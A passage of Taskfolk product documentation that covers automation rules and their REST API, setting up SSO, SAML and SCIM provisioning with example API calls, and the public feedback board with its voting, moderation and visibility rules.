issue already has. Partial isn't a bug. It's the engine being honest that it couldn't fully apply your rule. And it's exactly how you debug a rule that "isn't working": ```mermaid flowchart TD S[Rule seems broken] --> H[Open run history] H -- no rows --> C[Never matched, loosen a condition or recheck the trigger] H -- OK rows --> E[Rule fired and applied, your expectation was off] H -- Partial rows --> D[Read the detail line for the skipped action] ``` Open History and read the rows. OK rows mean the rule is firing and applying, so your expectation was probably off. Partial rows mean an action got skipped, and the detail line tells you which one and why, usually a workflow block or a stale assignee. No rows at all means the rule never matched, which almost always means a condition is too tight or the trigger isn't the event you thought it was. History turns "why didn't my rule work" from a guess into a five-second read. ## Managing rules: edit, duplicate, delete, and the plan caps Every rule card carries its own controls: an inline **On/Off** switch so you can pause a rule without opening it, plus **History**, **Edit**, **Duplicate**, and **Delete**. **Duplicate** clones the rule and creates the copy **disabled**, named " (copy)". This is the right way to make a variant. Duplicate "Auto-assign bugs", open the copy, change its trigger from "Issue is created" to "Issue is assigned", rename it, enable it. That's your second rule for the same actions on a different event. **Delete** asks first, with a confirm dialog titled "Delete automation rule", so you won't nuke a rule with a stray click. Permissions matter here. Creating, editing, enabling, duplicating, and deleting rules all require the `workspace.edit_settings` permission, which means owners and admins. Members and viewers get a **read-only** page ("You do not have permission to edit automations.") and can't build or change rules. They can still open **History**, which is genuinely useful, since anyone should be able to see why an issue got auto-assigned. Now the plan reality, stated plainly because it changes what you can do. **Automations are a paid feature, on Pro and Business only.** A Free workspace can see the Automations page but can't run rules. The upgrade message reads "Automations are available on Pro and Business plans. Upgrade to enable them." Don't plan a Free-tier workflow around this. The active-rule caps: - **Free: 2** (page visible, rules don't run) - **Pro: 20** - **Business: unlimited** Only **enabled** rules count toward the cap, so disabled drafts never eat into it. When you hit the ceiling, the **+ New automation** button goes disabled with a cap hint, and the "{used} / {limit} automations" counter tells you exactly where you stand. If you're at 20 on Pro and want a new rule, disable one you're not using or clear out dead ones. ## The same rules over the REST API Everything the builder does is also on Taskfolk's public REST API, which matters the moment you want rules kept in version control or provisioned by a script. Rules live at `/v1/workspaces/{slug}/automations`, and each rule's history at `/v1/workspaces/{slug}/automations/{id}/runs`. Reads need a key with the `automations:read` scope. Writes need `automations:write` on a key whose creator can edit workspace settings, and the same plan gate and enabled-rule cap apply, so the API can never mint a rule the builder would refuse. Here's the "Triage new bugs" rule from earlier, created disabled so you can review it in the UI before switching it on: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/taskfolk/automations \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{ "name": "Triage new bugs", "trigger": "issue.created", "conditions": { "match": "all", "rules": [{ "field": "type", "op": "is", "value": "bug" }] }, "actions": [ { "type": "set_status", "status": "todo" }, { "type": "set_priority", "priority": "high" } ], "enabled": false }' ``` ```javascript const res = await fetch("https://taskfolk.ai/api/v1/workspaces/taskfolk/automations", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ name: "Triage new bugs", trigger: "issue.created", conditions: { match: "all", rules: [{ field: "type", op: "is", value: "bug" }], }, actions: [ { type: "set_status", status: "todo" }, { type: "set_priority", priority: "high" }, ], enabled: false, }), }); const rule = await res.json(); ``` ```python import requests rule = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/automations", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={ "name": "Triage new bugs", "trigger": "issue.created", "conditions": { "match": "all", "rules": [{"field": "type", "op": "is", "value": "bug"}], }, "actions": [ {"type": "set_status", "status": "todo"}, {"type": "set_priority", "priority": "high"}, ], "enabled": False, }, ).json() ``` Check on the rule later with the runs endpoint, which returns the same OK, Partial, and Error statuses the History modal shows: ```bash curl https://taskfolk.ai/api/v1/workspaces/taskfolk/automations/AUTOMATION_ID/runs \ -H "Authorization: Bearer tfk_live_a1b2..." ``` If you're new to the API itself, the walkthrough on [how to use the REST API](/docs/how-to-use-the-rest-api) covers keys, scopes, and the `/v1/me` sanity check. ## Limits worth knowing before you rely on this A few hard constraints, because the whole point of automation is trusting it while you look away, and you can only do that if you know where the edges are. **Rules do not chain.** When an action writes to an issue, that write doesn't re-enter the automation engine. So one rule cannot trigger another rule, and a rule cannot trigger itself. This is intentional. If your "Set status to Done" fires, it will not wake up a separate "when status changes to Done" rule. Design each rule to do its full job on its own trigger. Don't build a Rube Goldberg chain expecting one rule to kick off the next. **Actions are best-effort and can no-op silently**, surfacing as Partial in history. A blocked workflow transition, an ex-member assignee, a cross-project label or sprint, a concurrent edit, or an already-set value will each cause that one action to skip. The rule still runs. That step just does nothing. Check history if the outcome surprises you. **Fan-out is capped at 50 rules per event.** If a single event somehow matches more than 50 rules, only 50 run. In practice you'll never hit this, but it exists. **There are value caps.** Condition string values top out at 500 characters, an "is one of" list at 50 items, comment bodies at 2000 characters, and rule names at 100 characters. Reasonable ceilings, worth knowing before you paste a wall of text into a comment action. **No time or schedule triggers.** Worth repeating because it's the most common wrong assumption. Nothing fires on a clock, a due date, or a sprint starting. Rules react to the six issue and comment events, and only those. **Notify agent is agent-only.** It wakes a connected AI agent and nothing else. It is not a human notification channel. If your need runs past these edges, Taskfolk has adjacent tools that pick up where rules stop. For routing new work by content and severity, see [AI issue triage that assigns and prioritizes](/blog/ai-issue-triage-that-assigns-and-prioritizes). For catching work from outside your team, [turn a request form into a triaged issue](/blog/turn-a-request-form-into-a-triaged-issue) and the walkthrough on [how to set up a request form](/docs/how-to-set-up-a-request-form). And when an AI agent should act but a human should sign off first, read [human-in-the-loop approval for AI agents](/docs/human-in-the-loop-approval-for-ai-agents). Start with one rule. Pick the three clicks you do most, turn them into a "Triage new bugs" recipe scoped to your project, save it Off, test it once, then flip it On. [Open the Automations page](/login) and write your first one. --- # How to set up SSO and SCIM URL: https://taskfolk.ai/docs/how-to-set-up-sso-and-scim Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: security, how-to, integrations Set up project management SSO, SAML, and SCIM in Taskfolk from one settings tab: copy the right URLs into Okta or Azure AD, provision users, know the limits. Your enterprise customer just asked whether your project tool supports SSO, SAML, and SCIM before they sign, and "maybe" is not going to cut it. Their security team wants employees signing in through the company identity provider. They want people who leave the company to lose access without anyone filing a ticket. And they want proof that both of those are actually wired up, not promised. This is exactly the moment where a lot of project tools go quiet, flash a "contact sales" button, and the deal drifts for two weeks. Taskfolk does not stall here. Project management SSO, SAML, and SCIM setup all live in one settings tab, and a workspace owner or admin can wire the whole thing up in about the time it takes to copy a handful of values out of Okta or Azure AD. This guide walks you through all three, tells you which URL goes where, and stays honest about the edges: what Taskfolk does, what it deliberately does not, and what you should not promise your security team without checking first. Get the mental model right before you touch anything. It saves you an hour of confusion later. ## What SSO, SAML, and SCIM actually do for your workspace These three acronyms travel together on every procurement checklist, but they answer two separate questions. | | Question it answers | Protocols in Taskfolk | |---|---|---| | **SSO** | Who is this person, and can they sign in? | OIDC and SAML 2.0 | | **SCIM** | Which people should exist here, and how does the list stay matched to the directory? | SCIM 2.0 (Users only) | SSO (single sign-on) is about authentication. Taskfolk speaks two flavors. OIDC (OpenID Connect) is the modern JSON-over-HTTPS protocol most new identity providers default to. SAML 2.0 is the older XML standard that large enterprises have run on their Okta, Azure AD, and OneLogin tenants for years. Both do the same job. When someone tries to sign in, Taskfolk hands them to your identity provider, your provider checks their credentials, and it sends back a signed answer: yes, this is jane@example.com, she's legitimate, let her in. SCIM (System for Cross-domain Identity Management) is about provisioning. When HR adds someone to the Engineering group in your directory, SCIM can create their Taskfolk account. When that person leaves and gets deactivated in the directory, SCIM removes them from the workspace. It covers the "stay in sync" half that plain sign-on can't. An enterprise buyer wants all three because each closes a different hole. SSO means one login and no separate password sitting around to leak. SCIM means offboarding happens automatically instead of living on a checklist someone forgets on a Friday. Put together, they're the line between "we trust your app with employee access" and "we don't." In Taskfolk, all three sit in one place: Settings > SSO, visible only to workspace owners and admins. And here is the first thing to name out loud, because it shapes every later decision: magic-link sign-in keeps working the entire time. Turning on SSO does not turn off the passwordless email link. That is a real limit with real consequences, and I will come back to it at the end. For now, hold the thought. ## Before you start: who can set this up, and what you need from your IdP Two prerequisites. Nail them before you open the tab. First, permissions. The SSO tab is owner and admin only. It's gated by the `workspace.edit_settings` permission, which means members and viewers never see it. The tab is hidden from their settings nav, and if they paste the URL directly they get redirected away. So if you're configuring this for a customer, confirm the person doing it is an owner or admin of that specific workspace. Not a project admin. A workspace one. Second, the values from your identity provider. What you need depends on which protocol you're setting up, and you can do one or both. For OIDC, three things from your IdP, gathered by registering Taskfolk as an application in the provider's admin console: - an **Issuer URL** (your provider's base URL, like `https://your-org.okta.com`) - a **Client ID** - a **Client secret** For SAML, three different things: - your IdP's **entity ID** - its **sign-in URL** (where Taskfolk should send people to authenticate) - its **signing certificate** in PEM format (the public cert your provider uses to sign assertions, so Taskfolk can prove they're genuine) One environment detail that trips people in testing: production requires HTTPS for issuer and SSO URLs. Plain `http://` is accepted only for `localhost` in development. Paste an `http://` production URL and it won't be accepted. Choose OIDC or SAML based on what your provider does best. Most modern setups reach for OIDC because it's fewer fields to configure. Plenty of large enterprises standardize on SAML because that's what the rest of their stack already speaks. You can enable both, but know that the auto-detect entry point prefers OIDC when both are on. There is no per-user "let me pick SAML today" chooser. ![The Settings > SSO tab showing all three sections stacked (Single sign-on, SAML single sign-on, SCIM provisioning), proving all enterprise auth lives in one owner/admin-only place.](/images/blog/how-to-set-up-sso-and-scim-sso-tab-overview.webp) That single panel is where all of this happens. Three stacked sections, one save flow each. Now let's fill them in. ## Set up OIDC single sign-on (the shorter path) If your provider speaks OIDC, start here. Fewer fields, and the one I'd reach for first. Open Settings > SSO and find the Single sign-on (SSO) section. First thing to notice: Taskfolk has already computed two URLs for you at the top, where `{slug}` is your workspace's URL slug. These are values your identity provider needs to know about Taskfolk, not the other way around. | Value in Taskfolk | Path | Where it goes | |---|---|---| | Redirect URL | `/sso/{slug}/callback` | The redirect or callback URI field in your IdP app | | Sign-in URL | `/sso/{slug}/login` | Anywhere you want a direct SSO entry link | So the order matters. Copy those URLs into your IdP application first. When you create the app integration for Taskfolk in Okta or Azure AD, it asks for a redirect or callback URI. Paste the Redirect URL there. That's the address your provider sends the user back to after they authenticate. Register it before you finish the Taskfolk side, or your first test sign-in bounces with a redirect mismatch, which is the single most common OIDC setup failure and a genuinely annoying one to debug blind. Once Taskfolk is registered in your IdP, come back and fill in the fields going the other direction. Paste the Issuer URL, the Client ID, and the Client secret. The secret is stored encrypted, and after you save, the label reads "A secret is configured" instead of echoing the value back. That's expected. If you ever need to change it, you re-enter it; Taskfolk will not show you the stored one. ![The workspace SSO settings: the computed Redirect URL to register with your identity provider, plus the Issuer URL, Client ID, and Client secret fields](/images/blog/how-to-set-up-sso-and-scim-oidc.webp) There's an optional field here too: Allowed email domain (optional). Leave it blank for now if you want any verified email through. I'll cover why you'd set it in a later section. Hit Save configuration first. Then flip Enable SSO sign-in. This two-step order (save, then enable) is deliberate. It lets you stage the config and turn it live as a separate, conscious action, so you're never half-configured and accidentally accepting real logins. One thing about how the OIDC callback behaves, because it will bite you if your directory is messy: the callback hard-requires `email_verified === true`. If your identity provider returns a user whose email isn't marked verified, Taskfolk rejects the sign-in. That's a security decision, not a bug. It stops someone from walking into a workspace on an unverified or spoofable address. When a real person gets blocked, the fix is in your directory (mark their email verified there), not in Taskfolk. What good looks like: the Enable toggle is on, and the first time a real employee runs a test sign-in, Taskfolk just-in-time creates them as a member of this one workspace and drops them on the board. No invite email, no manual add. They authenticate against your IdP, and they're in. ## Set up SAML 2.0 for Okta, Azure AD, or OneLogin Same tab, next section down: SAML single sign-on. This is the path for the classic SAML 2.0 setup that Okta, Azure AD, and OneLogin have supported for years. The pattern matches OIDC: copy Taskfolk's computed values into your IdP, then paste your IdP's values back. Only the specific values are SAML-flavored. At the top of the section Taskfolk gives you three of them: | Value in Taskfolk | Path | What it is | |---|---|---| | ACS (reply) URL | `/sso/{slug}/saml/acs` | Where your IdP POSTs the signed assertion after authentication | | SP entity ID (audience) | `/sso/{slug}/saml/metadata` | Taskfolk's identifier as a Service Provider, the audience the assertion is meant for | | SAML Sign-in URL | `/sso/{slug}/saml/login` | The direct SAML entry point | Both the ACS URL and the SP entity ID go into the Taskfolk application you create in your IdP. Here's a nicety that saves a lot of manual typing: Taskfolk serves SP metadata XML at `/sso/{slug}/saml/metadata`. Most identity providers let you register a Service Provider by pasting a metadata URL instead of entering every field by hand. Point Okta or Azure AD or OneLogin at that metadata endpoint and it reads the correct values for you. The metadata declares `WantAssertionsSigned=true` (Taskfolk insists on signed assertions), an HTTP-POST binding for the ACS, and an `emailAddress` NameID format. That last one matters for the next paragraph. Now paste your provider's values into Taskfolk: the IdP entity ID, the IdP sign-in URL, and the IdP signing certificate as PEM text. After saving, the certificate field reads "A certificate is configured" rather than showing the cert back, same pattern as the OIDC secret. The same optional Allowed email domain field lives here too. Save, then flip Enable SAML sign-in. The one hard requirement: the SAML assertion has to carry an email address. Either as the NameID (which is why the `emailAddress` NameID format matters) or as an email attribute in the assertion. If your provider sends back a username or an opaque ID with no email attached, Taskfolk has nothing to key the user on, and the sign-in fails. In Okta and Azure AD this is just mapping the user's email into the SAML attribute statement, which their setup wizards make painless. Verify it before you tell anyone it works. ## Set up SCIM provisioning so your directory stays in sync Authentication is handled. Now the "keep the roster matched" half: SCIM provisioning, the third section in the same tab. Start with the token. Click Generate token and Taskfolk mints a Bearer token. Read this sentence twice: the token is shown exactly once. Taskfolk stores only a SHA-256 hash of it, never the token itself, so there is no "show it again" button anywhere in the product. While it's on screen, use Copy token and paste it straight into your identity provider's SCIM connector configuration. Close the dialog without copying it and it's gone; your only path forward is Rotate token to mint a fresh one (which invalidates the old one). Next, copy the SCIM base URL (`/scim/v2`). This is the endpoint your provider's SCIM connector talks to. In Okta or Azure AD's provisioning setup, you paste this base URL and the Bearer token together; that pair is how your directory authenticates to Taskfolk. Every SCIM operation is scoped to the workspace the token belongs to, so a token for your workspace can never reach into anyone else's. ![The SCIM provisioning section with the SCIM base URL and the Generate token control that issues the bearer token your identity provider uses](/images/blog/how-to-set-up-sso-and-scim-scim.webp) Then flip Enable SCIM provisioning. Before a token exists, the section reads "No token generated yet." Once you've generated and enabled, it reads "A token is configured." That flip is your confirmation the connection is armed. Your IdP's connector does all the SCIM traffic for you, but you can verify the wiring yourself with one request. Look up a member by email, exactly the way the connector does before deciding whether to create or update someone: ```bash curl -G "https://taskfolk.ai/scim/v2/Users" \ -H "Authorization: Bearer utscim_your_token_here" \ --data-urlencode 'filter=userName eq "jane@example.com"' ``` ```javascript const params = new URLSearchParams({ filter: 'userName eq "jane@example.com"' }); const res = await fetch(`https://taskfolk.ai/scim/v2/Users?${params}`, { headers: { Authorization: "Bearer utscim_your_token_here" }, }); console.log(await res.json()); ``` ```python import requests r = requests.get( "https://taskfolk.ai/scim/v2/Users", headers={"Authorization": "Bearer utscim_your_token_here"}, params={"filter": 'userName eq "jane@example.com"'}, ) print(r.json()) ``` A healthy response comes back as `application/scim+json` with the standard ListResponse envelope: ```json { "schemas": ["urn:ietf:params:scim:api:messages:2.0:ListResponse"], "totalResults": 1, "startIndex": 1, "itemsPerPage": 1, "Resources": [ { "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "id": "", "userName": "jane@example.com", "displayName": "Jane Doe", "emails": [{ "value": "jane@example.com", "primary": true, "type": "work" }], "active": true } ] } ``` Under the hood, Taskfolk exposes the standard SCIM discovery endpoints (ServiceProviderConfig, ResourceTypes, Schemas) so Okta, Azure AD, and OneLogin can probe what Taskfolk supports before they push any data. Their connectors hit these automatically. `GET /scim/v2/ServiceProviderConfig` answers with capability flags like these (trimmed): ```json { "patch": { "supported": true }, "bulk": { "supported": false }, "filter": { "supported": true, "maxResults": 200 }, "changePassword": { "supported": false }, "sort": { "supported": false }, "etag": { "supported": false } } ``` It's how the provider learns that Taskfolk supports `PATCH` and equality filtering on `userName`, and does not support bulk operations, sorting, etags, or password change. You never touch these endpoints yourself; they're there so the handshake works. ## How users actually sign in, and how provisioning creates them You've done the workspace side. Here's the experience from the other end, for the people actually signing in. An employee goes to `/login`. Magic link is still the primary, most visible option (that coexistence again). Below it sits a Sign in with SSO link. They click it, a Workspace URL field appears asking for the workspace slug (the short name in your workspace's URL), they type it, and click Continue. That routes them to `/sso/{slug}`, where Taskfolk auto-detects which protocol is enabled for that workspace. OIDC on? It uses OIDC. Only SAML on? It uses SAML. Both on? It prefers OIDC. The user never chooses; they get forwarded to the right flow, authenticate with your provider, and come back signed in. There's a Back link for when they fat-finger the slug. ```mermaid sequenceDiagram participant E as Employee participant U as Taskfolk participant I as Identity provider E->>U: Sign in with SSO plus workspace slug U->>U: Auto detect protocol, OIDC preferred U->>I: Redirect to sign in I->>I: Check credentials I->>U: Signed response to callback or ACS U->>U: Verify email, JIT provision if new U->>E: Signed in as a member ``` The provisioning behavior is the part worth internalizing. A first-time SSO user, someone who has never had a Taskfolk account, is just-in-time provisioned: Taskfolk creates the user and adds them to that one workspace as a member. No pre-existing invite. They authenticate, they exist, they're in, as a member. SCIM covers the fuller lifecycle from your directory's side: - **Create** (a SCIM `POST` from your IdP) just-in-time provisions the membership, same as a JIT sign-in. - **Deprovision** happens three ways: setting `active=false`, a `PATCH` that deactivates, or a `DELETE`. Any of them removes the person's workspace membership. - **Read** is a SCIM `GET` to list members or fetch one. - **Filter** is an equality match on `userName`, which is how your provider looks a user up before deciding to create or update them. ```mermaid flowchart LR A[Directory change] --> B{What happened} B -->|User added| C[SCIM POST creates the membership] B -->|User deactivated| D[PATCH sets active false] B -->|User removed| E[DELETE drops the membership] C --> F[Workspace roster matches the directory] D --> F E --> F ``` The deactivation your IdP sends when someone leaves looks like this on the wire: ```bash curl -X PATCH "https://taskfolk.ai/scim/v2/Users/" \ -H "Authorization: Bearer utscim_your_token_here" \ -H "Content-Type: application/scim+json" \ -d '{ "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"], "Operations": [{ "op": "replace", "path": "active", "value": false }] }' ``` That one call removes the person's membership in the workspace the token belongs to, and only there. For anyone not going through SSO, the ordinary invite flow works exactly as before. See [how to invite team members](/docs/how-to-invite-team-members) for the link-based path. SCIM and invites coexist happily in the same workspace. ## Restrict sign-in to your company domain and keep an audit trail Two things turn a working setup into a defensible one. First, the Allowed email domain (optional) field, which shows up on both the OIDC and SAML sections. Set it to your company domain, say `example.com`, and Taskfolk accepts SSO sign-ins only for emails at that domain. Leave it blank and any verified or asserted email is accepted. Why bother? Because a loosely configured identity provider, or one that can assert external-guest emails, could let people into the workspace you never meant to admit. Pinning the domain is a cheap, legible guardrail: only `@example.com` humans get in through SSO. For a workspace tied to one company, set it. There's little reason not to. Second, the audit trail, which is what you hand the security reviewer when they ask "who changed our enterprise auth, and when." Every configuration change writes to the workspace audit log: - `sso_configured`, `sso_enabled`, `sso_disabled`, `sso_deleted`, plus the parallel `saml_*` events - `scim_token_rotated`, `scim_enabled`, `scim_disabled` - the human events that matter: `member.joined_via_sso` when someone JIT-provisions in, and `member.removed_via_scim` when your directory deprovisions someone ![An audit log table in Taskfolk: timestamped events with actor, kind, and payload, filterable by event family.](/images/blog/how-to-track-api-usage-and-audit-logs-audit-table.webp) So the whole arc is on record: the admin who turned SAML on, the token rotation last quarter, the contractor auto-removed when HR deactivated them. If you're building the case that Taskfolk is safe to hand employee access to, this log is your evidence. For how to read and use it, see [keeping an audit trail of changes](/blog/keep-an-audit-trail-of-ai-agent-changes). ## The limits worth knowing before you promise this to security Better you hear these from me now than from an annoyed security reviewer after the contract's signed. None of it is invented. It's how the feature ships today. **Magic link never turns off.** This is the big one. There is no "require SSO" switch and no "disable magic link" toggle. SSO, SAML, and SCIM all run alongside passwordless email sign-in, not instead of it. You cannot enforce SSO as the only login method. If your security team's requirement is literally "employees must authenticate through Okta and nothing else," Taskfolk does not meet it today. Anyone who can receive email at an address on the workspace can still request a magic link. Put this on the table during the deal; do not let it surface after signing. **There is no role mapping.** Every JIT-provisioned SSO user joins as a member. Taskfolk does not read IdP groups and map them to roles, does not sync groups at all, and SCIM handles the User resource only. There is no SCIM Groups resource. So "put people in the Engineering AD group and they become project admins in Taskfolk" is not a thing that happens. After someone is provisioned, an owner or admin changes their role by hand inside Taskfolk if they need more than member. **Deleting a config turns the feature off but doesn't lock anyone out.** Use Delete configuration (there's a confirm dialog, so you won't nuke it by accident) and SSO stops working, but existing members keep their magic-link access. Deleting SSO is not an offboarding tool. **SCIM is deliberately minimal.** No bulk operations, no sorting, no etags, no password change. Filtering is equality on `userName` only. And the last owner of a workspace cannot be deprovisioned; SCIM refuses it, so you can't orphan a workspace by deactivating its only owner in your directory. Sane constraints, but if your IdP connector expects bulk or sort, know that Taskfolk declines those and the connector should fall back to per-user operations. **On plans and pricing, phrase it carefully.** As shipped, configuring SSO, SAML, and SCIM is gated by workspace role, owner or admin, not by a checked paid plan. Any workspace owner or admin can turn it on. There is a reserved `sso` feature flag in the plan config, and some product material has described SSO as a business-tier feature, but no plan check actually runs in the SSO, SAML, or SCIM code paths right now. So when a customer asks "do I need to upgrade to configure SSO," the honest answer as-shipped is no, the gate is your role, not your plan. That could change, so if plan-gating matters to a deal, confirm it against your current billing rather than quoting this article. (On the related question of whether SSO users burn paid seats, see [do AI agents count as seats](/blog/do-ai-agents-count-as-seats) for how Taskfolk thinks about who counts.) That's the full picture, warts included. For teams that want one login through their existing identity provider, automatic offboarding when someone leaves the directory, and a clean record of who changed what, Taskfolk's enterprise sign-on does the job in a single settings tab, with no sales call and no bespoke integration project. Walk in clear-eyed about the magic-link coexistence and the member-only provisioning, and you'll set your customer's expectations right the first time. If you're weighing Taskfolk against a heavier tool for exactly this kind of enterprise requirement, the [Taskfolk vs Jira comparison](/vs/jira) lays out where each one lands. Ready to wire it up? Open your workspace's Settings > SSO tab and copy that first Redirect URL into your identity provider. --- # How to track and vote on feedback URL: https://taskfolk.ai/docs/how-to-track-and-vote-on-feedback Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: Taskfolk, project planning, how-to A hands-on tour of Taskfolk's product feedback board and roadmap: post ideas, vote, and read the Tracking board and Changelog as a live public roadmap. You have feature requests scattered across email, Slack DMs, a Notion doc nobody opens, and a running list in your own head. Someone asked for dark mode twice last month and you can't remember if you said yes. Two customers want the same integration and they'll never find out they agree. And when people ask what you're actually building next, you send a screenshot of a spreadsheet or you change the subject. This tutorial walks you through Taskfolk's feedback community from the inside: how to post an idea, how voting sorts the noise, and how the Tracking board and Changelog work together as a live public roadmap. If you have ever wondered how a product feedback board and roadmap should actually behave once real people are using it, this is the honest tour, including the parts that are locked down and the parts only Taskfolk's own operators can touch. One thing up front, because it saves confusion later. This is the board for Taskfolk itself. It is not a board you spin up for your own customers. More on that in a moment. ## What you'll learn - Post a feature request, bug, or question to Taskfolk's feedback community and choose whether it's public or private - Vote and react so the strongest ideas rise to the top of a shared board - Read the Tracking board and Changelog as a live public roadmap: under review, planned, in progress, shipped - Filter, sort, and search the feed to find or triage feedback fast - Know exactly what regular users control versus what only Taskfolk operators can do ## What the product feedback board and roadmap actually is Let's be precise, because the phrase "product feedback board and roadmap" gets used for two different things and mixing them up will frustrate you. This is one platform-wide board about Taskfolk, the product. Every Taskfolk workspace shares it. You reach it at `/feedback`, which works even when you're logged out, or from inside your workspace at `/w/[workspace]/feedback`, which renders the same portal with the same global content. The workspace URL only gates access to the app shell around it. The feedback itself is the same pool of posts everyone else sees. So when you post "the Timeline view should remember my last sort," that request lands in the same place as every other Taskfolk customer's request, and the Taskfolk team reads it there. What it is not: a per-workspace board you create to collect feedback from your own users. If that's what you need, Taskfolk has a separate tool for it (request Forms), and we'll come back to it at the end. Don't try to bend the feedback community into a customer portal for your product. You'll end up posting your internal notes into a shared public space. ![The Taskfolk feedback community landing page showing the Community, Tracking, and Changelog tabs, the New feedback button, sort and filter controls, and Reddit-style post cards with vote arrows, net scores, and Type/Area/Status chips. This is the primary feedback board view a reader starts from.](/images/blog/how-to-track-and-vote-on-feedback-community-feed.webp) The mental model is a short pipeline, and once it clicks the whole thing makes sense. Feedback comes in through the Community tab. Votes sort it, so the strongest ideas float up instead of the loudest person winning. Status moves each post along a roadmap as the team triages and builds. Then the Changelog closes the loop by showing what actually shipped, linked back to the posts that asked for it. ```mermaid flowchart LR A[Post lands in Community] --> B[Votes rank it] B --> C[Team sets status on Tracking] C --> D[Release lands in Changelog] D --> A ``` Three tabs carry this: **Community** (the feed), **Tracking** (the status board), and **Changelog** (shipped releases). Hold that shape in your head and every screen below reads naturally. ## Reading the community feed and finding what already exists Before you post anything, look. This is the single habit that keeps a feedback board useful instead of turning it into fifty variations of the same request. Most of the time the thing you want to ask for is already there, and the better move is to upvote it, not to start a duplicate that splits the votes. The Community feed is a stack of Reddit-style cards. Each card has an up arrow and a down arrow wrapped around a net score. That word "net" matters. A downvote lowers the score, so this is not a raw upvote count. A post sitting at 42 might have collected 50 ups and 8 downs. The number you see is the honest signal: what the community wants, weighed against the people who think it's the wrong call. Next to the score you get a comment count and a row of chips showing the Type (Feature, Bug, or Question), the Area (which part of Taskfolk it's about), and the Status. At the top of the feed you can sort three ways: | Sort | How it ranks | When to use it | | --- | --- | --- | | **Top** | Net score across all time | Finding the ideas with the deepest support | | **New** | Chronological, the raw firehose | Triage, or seeing what landed today | | **Trending** | Bounded top N over the last 30 days | Spotting recent posts gathering momentum | Trending is the one to understand properly. It's a bounded list, not an infinite feed. It shows recent posts gathering momentum and it deliberately stops rather than scrolling forever. If Trending feels short, that's by design. Three dropdowns narrow the feed: filter by Type ("All types"), by Area ("All areas"), and by Status ("All statuses"). Chasing every open Bug in the Integrations & API area? Set two dropdowns and you're there. When you're signed in, a **Mine** toggle strips the feed down to just your own posts, which is how you keep track of what you've asked for. The search box ("Search feedback...") runs through Typesense, so it's typo-tolerant: search "intergration" and you'll still find the integration requests. Search returns one relevance-ordered page rather than the sortable, paginated feed. On Top and New, the feed loads in pages with a **Load more** button at the bottom (keyset pagination, so it stays fast as the board grows). No endless scroll quietly re-fetching while you're mid-read. The payoff for spending two minutes here is real. Vote on the request that already exists and you add weight to something the team is already tracking. Post a duplicate and you scatter the signal across two cards that each look weaker than they are. The feed is a search tool first, a posting surface second. ## How to post a feature request or bug Once you've confirmed your idea isn't already on the board, click **New feedback**. That opens the "Share your feedback" dialog. Do each field deliberately rather than firing off a one-liner. ![How to track and vote on feedback - new post dialog](/images/blog/how-to-track-and-vote-on-feedback-new-post-dialog.webp) Start with **Type**, a segmented control with three options: Feature, Bug, or Question. Each carries a small hint so you pick the right one. A Feature is "I wish Taskfolk could do X." A Bug is "Taskfolk does X but it's broken." A Question is "how do I do X, or why does it work this way." Getting this right helps the team triage and helps other users filter to what they care about. Then **Area**, a dropdown answering "which part of Taskfolk is this about?" The options are Board & issues, Backlog & sprints, Docs & knowledge, Integrations & API, Automations, Mobile & apps, Billing & plans, and Something else. If your idea is about board columns remembering their state, that's Board & issues. If it's about public API rate limits, that's Integrations & API. Pick the closest one. "Something else" is the honest fallback, not a dumping ground. **Title** is capped between 3 and 64 characters, and that constraint is a gift. It forces you to say the one thing. A weak title is "board improvements." A strong one is "Timeline and Summary tabs should remember my last view." Notice the difference: the strong title names the surface, names the behavior, and reads as a single testable request. If you can't fit your idea in 64 characters, you probably have two ideas and should post them separately. **Details** is a markdown editor with a 4096-character ceiling, so you have room to explain the why. Write what you're trying to do, what happens now, and what you wish happened instead. In the demo WEB project, a good Details field for that Timeline request might read: "When I switch from the board to the Timeline view and back, it always resets to the default zoom and sort. I'd expect it to remember where I was, the way the List view does." Concrete, specific, one idea. You can attach an **Image (optional)**: PNG, JPG, GIF, or WebP, up to 5 MB. The upload is presigned and shows a live progress bar as it goes. A bug report with an actual screenshot of the broken state is worth far more than three paragraphs describing it. One honest note: the image is metered to your image storage, so a very large file can hit a quota error. Keep screenshots reasonable. Two guardrails run behind the scenes, and they're plain to see in the create-post action itself: ```typescript // src/lib/feedback/actions.ts (createPost, trimmed) if (!checkRateLimitWithGc(`fb:post:${user.id}`, 8, 3600).ok) return { ok: false, error: "rate-limited" }; const title = input.title.trim().slice(0, TITLE_MAX); // 64 chars const bodyMd = (input.bodyMd ?? "").slice(0, BODY_MAX); // 4096 chars if (!kind || title.length < 3) return { ok: false, error: "invalid" }; // AI safety gate (free, fail-open). Refuse clearly bad content up front. const mod = await moderateFeedback({ title, body: bodyMd }); if (!mod.allow) return { ok: false, error: "rejected", message: mod.message }; ``` In words: new posts pass an AI safety gate (Haiku moderation) that rejects obvious spam, advertising, harassment, off-topic noise, or gibberish with a friendly "please revise" message. And there are rate limits: 8 posts per hour and 20 comments per hour, per user. The moderation gate is fail-open, which I'll be straight about later, so don't treat it as a wall against all spam. What good looks like, in one line: one idea per post, concrete, with a screenshot when you can. That's the whole craft of it. ## Public versus private posts, and why private is the default The last choice in the dialog is **Visibility**, and Taskfolk makes a deliberate decision here worth understanding rather than clicking past. You get two cards. **Public**: "Everyone can see this and vote on it." **Private**: "Only you and the Taskfolk team can see this." Private is pre-selected. That default is intentional friction. Your rough, half-formed, maybe-embarrassing note stays between you and the Taskfolk team until you decide it's ready for the world. You can fire off "the export is confusing and I'm not sure why" without broadcasting it. The rule is enforced in code, not just hidden in the UI, so a private post genuinely isn't visible to other users. This is the entire visibility model, eight lines: ```typescript // src/lib/feedback/status-meta.ts export function canViewPost( viewer: { isOperator: boolean; userId: string | null }, post: { visibility: "public" | "private"; authorUserId: string }, ): boolean { if (post.visibility === "public") return true; if (viewer.isOperator) return true; return viewer.userId != null && viewer.userId === post.authorUserId; } ``` Here's the tradeoff. A private post can't collect votes, because nobody else can see it to vote. So private is right for a rough draft, a 